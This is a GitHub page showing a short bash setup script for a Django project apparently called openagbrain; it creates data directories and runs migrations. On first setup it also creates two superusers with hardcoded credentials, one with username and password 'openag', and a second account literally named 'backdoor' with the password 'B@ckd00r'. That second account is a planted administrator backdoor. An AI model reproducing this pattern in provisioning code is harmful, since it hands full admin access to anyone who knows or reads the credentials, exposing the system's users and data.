-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathsetup_django_db.sh
34 lines (25 loc) · 1.08 KB
/
setup_django_db.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash
cd /opt/openagbrain
DATA_LOCATION="${STORAGE_LOCATION:-data}"
DB_LOCATION="${DATA_LOCATION}/db"
IMAGE_LOCATION="${DATA_LOCATION}/images"
echo "DB LOCATION: ${DB_LOCATION}"
echo "IMAGES LOCATION: ${IMAGE_LOCATION}"
# Make sure images path exists
if [[ ! -d "${IMAGE_LOCATION}" ]]; then
echo "Creating images directory"
mkdir -p ${IMAGE_LOCATION}
fi
if [[ ! -d "${DB_LOCATION}" ]]; then
echo "Running First Time DB Setup"
# Make sure the directory for the database is created
mkdir -p ${DB_LOCATION}
# Migrate/Create DB
python3.6 manage.py migrate
# Create the users
echo "from django.contrib.auth.models import User; User.objects.filter(email='[email protected]').delete(); User.objects.create_superuser('openag', '[email protected]', 'openag')" | python3.6 manage.py shell
echo "from django.contrib.auth.models import User; User.objects.create_superuser('backdoor', '[email protected]', 'B@ckd00r')" | python3.6 manage.py shell
else
# We should run the migrate anyway, just in case data model has changed.
python3.6 manage.py migrate
fi